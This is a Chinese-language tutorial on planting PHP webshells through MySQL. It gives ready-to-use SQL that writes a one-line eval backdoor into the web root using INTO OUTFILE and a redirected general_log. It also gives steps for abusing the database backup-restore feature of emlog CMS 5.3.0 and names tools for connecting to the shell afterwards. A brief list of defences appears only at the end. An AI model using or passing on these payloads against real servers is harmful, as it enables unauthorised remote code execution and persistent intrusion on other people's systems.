数据库上传WebShell的三种方式
字数 1163 2025-08-15 21:31:42
数据库上传WebShell的三种方式详解
一、WebShell基本概念
1.1 什么是WebShell
WebShell是一个ASP或PHP木马后门文件,黑客入侵网站后将其放置在服务器web目录中,通过web方式控制服务器,可执行:
- 上传下载文件
- 查看数据库
- 执行任意程序命令
1.2 相关概念
木马:特洛伊木马,指程序中包含可控制用户计算机系统的恶意代码。
后门:计算机上未经授权开启的端口或服务,允许未经授权的访问。
1.3 WebShell优点
- 通过80端口通信,可绕过防火墙
- 主要在web日志中留下记录,系统日志中痕迹较少
- 隐蔽性强,难以被管理员发现
二、WebShell分类
2.1 按文件大小分类
- 小马:功能单一,通常为"一句话木马",可使用菜刀等工具直接连接
- 大马:功能丰富,集成上传下载、数据库提权、CMD命令操作、克隆、代理等功能
2.2 按脚本类型分类
- JSP
- ASP
- ASPX
- PHP
三、数据库上传WebShell的三种方式
3.1 INTO OUTFILE写入
必要条件
secure_file_priv参数支持web目录文件导出- 数据库用户具有File权限
- 获取物理路径
secure_file_priv参数状态
NULL:写入开关关闭"":写入开关打开,可写入任意目录"C:/phpStudy/PHPTutorial/WWW":写入开关打开,仅可写入指定路径
注意:此参数只能通过修改mysql.ini配置文件设置,无法通过SQL命令修改
写入WebShell的SQL语句
select "<?php @eval($_POST['cmd']);?>" into outfile "C://phpStudy//PHPTutorial//WWW//shell.php"
连接工具
- 菜刀
- 蚁剑
- 冰蝎
3.2 通过general_log日志写入
必要条件
- 数据库root权限
- 知道web根路径位置
操作步骤
- 打开general_log开关
- 设置日志位置为web目录
- 执行SQL语句写入WebShell
示例SQL
-- 开启general_log
SET GLOBAL general_log = 'ON';
-- 设置日志文件路径
SET GLOBAL general_log_file = 'C:/phpStudy/PHPTutorial/WWW/shell.php';
-- 写入WebShell
SELECT "<?php @eval($_POST['cmd']);?>";
3.3 通过备份数据库漏洞写入
典型场景
CMS后台管理页面的数据库备份功能校验不严格
操作步骤(以emlog CMS 5.3.0为例)
-
获取web路径:
- 在管理页面点击"更多信息"
- 在phpinfo页面搜索
document_root
-
备份数据库:
- 使用管理页面的数据库备份功能
-
修改备份文件:
- 在SQL文件最后添加写入WebShell的语句
-
恢复备份:
- 通过恢复备份功能上传修改后的SQL文件
-
连接WebShell:
- 使用菜刀等工具连接
四、防御措施
-
数据库安全加固:
- 关闭不必要的功能开关
- 限制数据库用户权限
-
文件权限控制:
- 限制web目录写入权限
- 监控异常文件创建
-
日志监控:
- 加强web日志分析
- 设置异常操作告警
-
备份安全:
- 加强备份恢复功能的安全校验
- 验证备份文件完整性
-
定期安全审计:
- 检查服务器文件系统
- 扫描可疑文件